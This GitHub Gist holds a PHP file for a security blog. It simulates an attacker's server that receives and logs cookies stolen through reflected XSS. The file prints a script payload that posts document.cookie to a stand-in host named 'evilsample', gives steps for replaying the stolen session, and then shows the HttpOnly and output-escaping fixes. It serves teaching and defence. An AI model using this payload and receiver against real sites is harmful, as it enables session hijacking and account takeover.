Created
April 4, 2026 20:03
-
-
Save stevesohcot/8d14c68fea6ba9ea3d5c59414f62cd5c to your computer and use it in GitHub Desktop.
Simulate PHP security XSS attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // "PHP Security blog" - Blog article by Steve Sohcot | |
| // URL here: | |
| // Original code created by Claude Code | |
| // Be sure to update "localhost" and "evilsample" to match your hosts | |
| /** | |
| * SIMULATED ATTACKER'S SERVER | |
| * | |
| * This file lives at: https://evilsample/api/tests/evil.php | |
| * | |
| * It receives stolen cookies via GET param ?c= | |
| * and logs them to a local file so the "attacker" can replay them later. | |
| * | |
| * FOR LOCAL SECURITY TESTING ONLY. | |
| */ | |
| $logFile = __DIR__ . "/stolen-cookies.log"; | |
| // --- Receive stolen cookies via POST body --- | |
| // The payload uses fetch() with method:POST so the cookie string is in the | |
| // request body — no '?' appears in the evil.php URL, which avoids PHP's | |
| // query string parser splitting the injected script in half. | |
| $stolen = ''; | |
| if ($_SERVER['REQUEST_METHOD'] === 'POST') { | |
| $stolen = file_get_contents('php://input'); | |
| } | |
| if ($stolen !== '') { | |
| $timestamp = date('Y-m-d H:i:s'); | |
| $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown'; | |
| $referer = $_SERVER['HTTP_REFERER'] ?? 'unknown'; | |
| $logEntry = "=== STOLEN COOKIES RECEIVED ===\n"; | |
| $logEntry .= "Time: $timestamp\n"; | |
| $logEntry .= "From IP: $ip\n"; | |
| $logEntry .= "Referer: $referer\n"; | |
| $logEntry .= "Cookies: $stolen\n"; | |
| $logEntry .= "\n"; | |
| file_put_contents($logFile, $logEntry, FILE_APPEND); | |
| } | |
| // --- Read log for display --- | |
| $log = file_exists($logFile) ? file_get_contents($logFile) : "(no cookies stolen yet — send the payload first)"; | |
| // Parse most recent entry for the replay section | |
| $replayUserId = ''; | |
| $replayRandomHash = ''; | |
| if ($stolen !== '') { | |
| parse_str(str_replace('; ', '&', $stolen), $parsedCookies); | |
| $replayUserId = $parsedCookies['userId'] ?? ''; | |
| $replayRandomHash = $parsedCookies['randomHash'] ?? ''; | |
| } elseif (file_exists($logFile)) { | |
| // Pull values from the last entry in the log | |
| preg_match_all('/^Cookies:\s*(.+)$/m', $log, $matches); | |
| if (!empty($matches[1])) { | |
| $lastCookies = end($matches[1]); | |
| parse_str(str_replace('; ', '&', $lastCookies), $parsedCookies); | |
| $replayUserId = $parsedCookies['userId'] ?? ''; | |
| $replayRandomHash = $parsedCookies['randomHash'] ?? ''; | |
| } | |
| } | |
| ?><!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>Attacker's Server — Cookie Receiver</title> | |
| <style> | |
| body { font-family: monospace; background: #1a1a1a; color: #00ff00; padding: 2rem; } | |
| h1 { color: #ff4444; } | |
| h2 { color: #ffaa00; border-bottom: 1px solid #333; padding-bottom: .4rem; } | |
| .box { background: #111; border: 1px solid #444; padding: 1rem; border-radius: 4px; margin-bottom: 1.5rem; white-space: pre-wrap; word-break: break-all; line-height: 1.6; } | |
| .green { border-color: #00ff00; background: #002200; } | |
| .warn { color: #ff4444; font-weight: bold; } | |
| a { color: #00aaff; } | |
| label { color: #aaa; display: block; margin: .75rem 0 .25rem; } | |
| code { background: #222; padding: 2px 6px; border-radius: 3px; color: #ffcc00; } | |
| .step { background: #0a0a0a; border-left: 3px solid #ffaa00; padding: 1rem 1.5rem; margin-bottom: 2rem; } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>Attacker's Server</h1> | |
| <p>Running at: <strong>https://evilsample/api/tests/evil.php</strong></p> | |
| <!-- ============================================================ --> | |
| <div class="step"> | |
| <h2>STEP 1 — Inject the payload into localhost</h2> | |
| <p>The injection point: <code>alerts.php</code> prints <code>$_GET['notification']</code> and <code>$_GET['error']</code> | |
| with <strong>no htmlspecialchars()</strong> — raw HTML is rendered by the browser.</p> | |
| <p>Send this URL to a logged-in victim (or open it yourself while logged in to localhost):</p> | |
| <label>Stealthy version — victim stays on the page, sees a blank notification, notices nothing:</label> | |
| <div class="box green">https://localhost/tasks/?notification=<script>fetch('https://evilsample/api/tests/evil.php',{method:'POST',mode:'no-cors',body:document.cookie})</script></div> | |
| <p>What the browser does when it renders that page:</p> | |
| <div class="box">1. PHP outputs the <script> tag into the HTML (no escaping) | |
| 2. Browser parses it as a real script block and executes it | |
| 3. document.cookie returns: "userId=42; randomHash=a7f3c9d2e1b4..." | |
| (both visible because HttpOnly is NOT set) | |
| 4. fetch() fires a silent background POST to evilsample with the cookie string as the body | |
| (POST avoids putting '?' in the evil.php URL, which would break PHP's query parser) | |
| 5. evil.php reads php://input, logs it, and shows it in STEP 2 below</div> | |
| </div> | |
| <!-- ============================================================ --> | |
| <div class="step"> | |
| <h2>STEP 2 — Stolen cookies log</h2> | |
| <?php if (isset($_GET['c'])): ?> | |
| <p class="warn">*** COOKIES RECEIVED — just logged ***</p> | |
| <?php endif; ?> | |
| <div class="box"><?php echo htmlspecialchars($log); ?></div> | |
| </div> | |
| <!-- ============================================================ --> | |
| <div class="step"> | |
| <h2>STEP 3 — Replay: impersonate the victim</h2> | |
| <p>Open a <strong>fresh browser / incognito window</strong>, navigate to <code>https://localhost</code>, | |
| open DevTools → Console, and paste:</p> | |
| <div class="box green">document.cookie = "userId=<?php echo htmlspecialchars($replayUserId ?: 'PASTE_userId_VALUE_HERE'); ?>; path=/"; | |
| document.cookie = "randomHash=<?php echo htmlspecialchars($replayRandomHash ?: 'PASTE_randomHash_VALUE_HERE'); ?>; path=/"; | |
| location.reload();</div> | |
| <p>What happens on reload: <code>current-user.php</code> reads those two cookies, queries the database, | |
| <code>randomHash</code> matches the <code>random</code> column in Users — you are now authenticated | |
| as the victim. <strong>No password entered.</strong></p> | |
| </div> | |
| <!-- ============================================================ --> | |
| <div class="step"> | |
| <h2>STEP 4 — The two fixes that break this attack</h2> | |
| <p><strong>Fix A — HttpOnly cookies</strong> (fx-login.php lines 134–135)</p> | |
| <label>Before:</label> | |
| <div class="box">setcookie("userId", $userInfo["userId"], $CookieExpire, "/"); | |
| setcookie("randomHash", $userInfo["random"], $CookieExpire, "/");</div> | |
| <label>After:</label> | |
| <div class="box green">setcookie("userId", $userInfo["userId"], $CookieExpire, "/", "", true, true); | |
| setcookie("randomHash", $userInfo["random"], $CookieExpire, "/", "", true, true); | |
| // ^ ^ | |
| // Secure HttpOnly | |
| // | |
| // document.cookie now returns "" for these cookies. | |
| // The fetch() in Step 1 sends an empty string. Nothing useful is stolen.</div> | |
| <p><strong>Fix B — Escape output</strong> (alerts.php lines 57 and 65)</p> | |
| <label>Before:</label> | |
| <div class="box">print $_GET['notification']; | |
| print $_GET['error'];</div> | |
| <label>After:</label> | |
| <div class="box green">print htmlspecialchars($_GET['notification'], ENT_QUOTES, 'UTF-8'); | |
| print htmlspecialchars($_GET['error'], ENT_QUOTES, 'UTF-8');</div> | |
| <p>This converts <code><script></code> into the literal text <code>&lt;script&gt;</code> | |
| — the browser displays it as text, never executes it. Injection point eliminated entirely.</p> | |
| </div> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment